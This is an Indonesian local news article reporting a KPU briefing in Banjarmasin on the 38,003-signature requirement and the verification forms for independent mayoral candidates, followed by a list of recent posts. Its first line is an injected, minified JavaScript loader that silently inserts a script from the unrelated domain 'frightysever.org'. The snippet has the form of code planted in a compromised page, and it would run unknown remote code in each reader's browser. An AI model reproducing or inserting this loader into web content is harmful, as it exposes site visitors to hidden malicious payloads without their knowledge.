(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PILKADA BANJARMASIN

38.003 Dukungan Jadi Syarat Jalur Perseorangan di Pilwali Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Menjelang masa penyerahan berkas syarat dukungan bakal calon perseorangan di Pilkada Kota Banjarmasin -19 hingga 23 Februari 2020 mendatang-, KPU Kota Banjarmasin bersama KPU Provinsi Kalsel menyelenggarakan sosialisasi di aula lantai 3 kantor KPU Kota Banjarmasin, Sabtu (15/2/2020) siang.

Komisioner KPU Provinsi Kalsel Divisi Teknis Hatmiati memaparkan, persyaratan untuk bisa mendaftar sebagai bakal calon walikota melalui jalur perseorangan selain harus memiliki 38.003 dukungan dari 3 kecamatan, juga harus dilengkapi dengan formulir B1.1-KWK perseorangan sebagai bukti dukungan bagi calon perseorangan.

Dalam sosialisasi ini diikuti bakal calon perseorangan dari pasangan Khairul Saleh-Habib Alwi Al Habsyi dan Anang Misran-Muhammad Firdaus. Tim kedua bakal calon lebih banyak menanyakan soal teknis persyaratan untuk bisa maju melalui jalur perseorangan.

“Mereka lebih banyak menanyakan soal verifikasi faktual. Kita berusaha menjelaskan bahwa verifikasi faktual di lapangan itu dilakukan oleh PPS,” kata Hatmiati.

Peserta sosialisasi jalur calon perseorangan di KPU Kota Banjarmasin, Sabtu (15/2/2020). foto: fikri

Saat verifikasi faktual nanti, tim pemenangan bakal calon perseorangan harus membawa formulir B1.1-KWK perseorangan. Di formulir ini, berisi data dari seluruh dukungan berdasarkan desa, kelurahan atau sebutan lain.

“Data ini akan disanding dan langsung disampaikan kepada pendukung apakah benar mereka memberikan dukungan tersebut,” katanya.

Komisioner KPU Kota Banjarmasin Syafruddin Akbar menambahkan, sosialisasi ini merupakan rangkaian tahapan persiapan Pemilu yang perlu disosialisasikan kepada bakal calon perseorangan. Nantinya, bakal calon perseorangan yang ikut serta di Pilwali Banjarmasin harus menyerahkan syarat dukungan dari tanggal 19 hingga 23 Februari 2020 mendatang.

“Sosialisasi ini sangat penting berkaitan dengan teknis, seperti penyerahan syarat dukungan. Sehingga perlu persiapan cukup matang,” kata Akbar. (kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Bie

 


Al Ghifari

Recent Posts

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

3 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

19 jam ago

Janji Wali Kota Yamin Tertibkan Bangunan di Atas Sungai

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More

20 jam ago

MAFINDO Kalsel Bekali Guru di Banjarmasin Memahami Teknologi Kecerdasan Buatan

KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More

20 jam ago

Pengelolaan UNESCO Global Geopark Meratus Diperkuat

Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More

1 hari ago

Mereka Menanti Skatepark di Kota Seribu Sungai

KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More

1 hari ago

This website uses cookies.